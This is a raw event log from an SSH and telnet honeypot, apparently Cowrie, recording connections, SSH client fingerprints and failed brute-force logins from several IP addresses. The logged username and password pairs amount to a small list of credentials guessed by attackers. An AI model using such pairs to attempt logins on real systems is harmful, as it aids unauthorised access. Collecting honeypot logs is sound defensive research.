{"eventid":"cowrie.session.closed","duration":32.58666944503784,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:16.325795Z","src_ip":"149.56.37.12","session":"e9a89218966f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.64161157608032,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:18.394842Z","src_ip":"149.56.37.12","session":"bcf6cabcc720","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.71082162857056,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:19.334458Z","src_ip":"149.56.37.12","session":"f1f98cbf4f0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.09510397911072,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:19.630069Z","src_ip":"149.56.37.12","session":"5a78a260a38c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.375324010849,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:19.788421Z","src_ip":"149.56.37.12","session":"fe9c4dd46064","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.59254479408264,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:27.456756Z","src_ip":"149.56.37.12","session":"85c333207909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.21013784408569,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:31.119359Z","src_ip":"149.56.37.12","session":"6cb2c0417ff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44496,"dst_ip":"159.203.135.109","dst_port":22,"session":"13fb4c0f8611","protocol":"ssh","message":"New connection: 159.203.92.129:44496 (159.203.135.109:22) [session: 13fb4c0f8611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:34.588748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:34.593875Z","src_ip":"159.203.92.129","session":"13fb4c0f8611","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:34.600709Z","src_ip":"159.203.92.129","session":"13fb4c0f8611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"Ad123456","message":"login attempt [admin1/Ad123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:34.667731Z","src_ip":"159.203.92.129","session":"13fb4c0f8611","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.15373229980469,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:34.865261Z","src_ip":"149.56.37.12","session":"020af5ce2884","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:35.674773Z","src_ip":"159.203.92.129","session":"13fb4c0f8611","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.3246853351593,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:36.093243Z","src_ip":"149.56.37.12","session":"396bcf6a2aa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.37610363960266,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:39.592904Z","src_ip":"149.56.37.12","session":"b6f4016c69cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00261902809143,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:40.723543Z","src_ip":"167.250.105.129","session":"44f59088b25c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.2376389503479,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:41.559834Z","src_ip":"149.56.37.12","session":"051fd55651c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.11749339103699,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:42.656136Z","src_ip":"149.56.37.12","session":"62cde25672c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":2560,"dst_ip":"159.203.135.109","dst_port":23,"session":"e89be2e9e273","protocol":"telnet","message":"New connection: 167.250.105.129:2560 (159.203.135.109:23) [session: e89be2e9e273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:43.187000Z"}
{"eventid":"cowrie.session.closed","duration":35.56094288825989,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:46.974802Z","src_ip":"149.56.37.12","session":"93b922bae6d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.47686457633972,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:47.524674Z","src_ip":"149.56.37.12","session":"3f897853e500","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.15319466590881,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:48.635334Z","src_ip":"149.56.37.12","session":"8ea98da72832","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00086498260498,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:48.706392Z","src_ip":"167.250.105.129","session":"3bd978774ae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":49620,"dst_ip":"159.203.135.109","dst_port":22,"session":"12590567f50c","protocol":"ssh","message":"New connection: 45.120.216.232:49620 (159.203.135.109:22) [session: 12590567f50c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:59.287199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:59.291349Z","src_ip":"45.120.216.232","session":"12590567f50c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:59.525856Z","src_ip":"45.120.216.232","session":"12590567f50c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p@$$wOrd","message":"login attempt [admin/p@$$wOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:00.498243Z","src_ip":"45.120.216.232","session":"12590567f50c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:01.736476Z","src_ip":"45.120.216.232","session":"12590567f50c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":34094,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb7d913fefb8","protocol":"telnet","message":"New connection: 149.56.37.12:34094 (159.203.135.109:23) [session: eb7d913fefb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:09.814056Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":34386,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b4097f9e3ef","protocol":"telnet","message":"New connection: 149.56.37.12:34386 (159.203.135.109:23) [session: 4b4097f9e3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:10.007774Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50744,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7a9ed5dca7f","protocol":"ssh","message":"New connection: 159.203.92.129:50744 (159.203.135.109:22) [session: d7a9ed5dca7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:16.319369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:16.324747Z","src_ip":"159.203.92.129","session":"d7a9ed5dca7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:16.329882Z","src_ip":"159.203.92.129","session":"d7a9ed5dca7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"abc123","message":"login attempt [admin1/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:16.343702Z","src_ip":"159.203.92.129","session":"d7a9ed5dca7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:17.354348Z","src_ip":"159.203.92.129","session":"d7a9ed5dca7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":52400,"dst_ip":"159.203.135.109","dst_port":23,"session":"dccf7d48a5ea","protocol":"telnet","message":"New connection: 149.56.37.12:52400 (159.203.135.109:23) [session: dccf7d48a5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:21.891747Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":53592,"dst_ip":"159.203.135.109","dst_port":23,"session":"6076ccf37508","protocol":"telnet","message":"New connection: 149.56.37.12:53592 (159.203.135.109:23) [session: 6076ccf37508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:22.732126Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.210.221.73","src_port":30858,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f3ea1ce7d0","protocol":"telnet","message":"New connection: 51.210.221.73:30858 (159.203.135.109:23) [session: 25f3ea1ce7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:23.218511Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":58530,"dst_ip":"159.203.135.109","dst_port":23,"session":"e57d4cfefee1","protocol":"telnet","message":"New connection: 149.56.37.12:58530 (159.203.135.109:23) [session: e57d4cfefee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:25.626837Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":33126,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a2724a98d70","protocol":"telnet","message":"New connection: 149.56.37.12:33126 (159.203.135.109:23) [session: 4a2724a98d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:27.559287Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":52388,"dst_ip":"159.203.135.109","dst_port":23,"session":"83c2b32da9ed","protocol":"telnet","message":"New connection: 149.56.37.12:52388 (159.203.135.109:23) [session: 83c2b32da9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:38.938348Z"}
{"eventid":"cowrie.session.closed","duration":37.314125061035156,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:47.128055Z","src_ip":"149.56.37.12","session":"eb7d913fefb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.321553468704224,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:49.329163Z","src_ip":"149.56.37.12","session":"4b4097f9e3ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.826462745666504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:54.044853Z","src_ip":"51.210.221.73","session":"25f3ea1ce7d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":39362,"dst_ip":"159.203.135.109","dst_port":22,"session":"c459b6d0d7dc","protocol":"ssh","message":"New connection: 45.120.216.232:39362 (159.203.135.109:22) [session: c459b6d0d7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:55.964903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:55.973805Z","src_ip":"45.120.216.232","session":"c459b6d0d7dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:56.210970Z","src_ip":"45.120.216.232","session":"c459b6d0d7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.328683376312256,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:56.220299Z","src_ip":"149.56.37.12","session":"dccf7d48a5ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54126,"dst_ip":"159.203.135.109","dst_port":22,"session":"913cdefff3ed","protocol":"ssh","message":"New connection: 159.203.92.129:54126 (159.203.135.109:22) [session: 913cdefff3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:56.597317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:56.602481Z","src_ip":"159.203.92.129","session":"913cdefff3ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:56.607556Z","src_ip":"159.203.92.129","session":"913cdefff3ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin","message":"login attempt [admin1/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:56.618749Z","src_ip":"159.203.92.129","session":"913cdefff3ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testen","password":"testen","message":"login attempt [testen/testen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:57.184886Z","src_ip":"45.120.216.232","session":"c459b6d0d7dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.210.221.73","src_port":11870,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e744894aca8","protocol":"telnet","message":"New connection: 51.210.221.73:11870 (159.203.135.109:23) [session: 7e744894aca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:57.203844Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:57.625998Z","src_ip":"159.203.92.129","session":"913cdefff3ed","protocol":"ssh"}
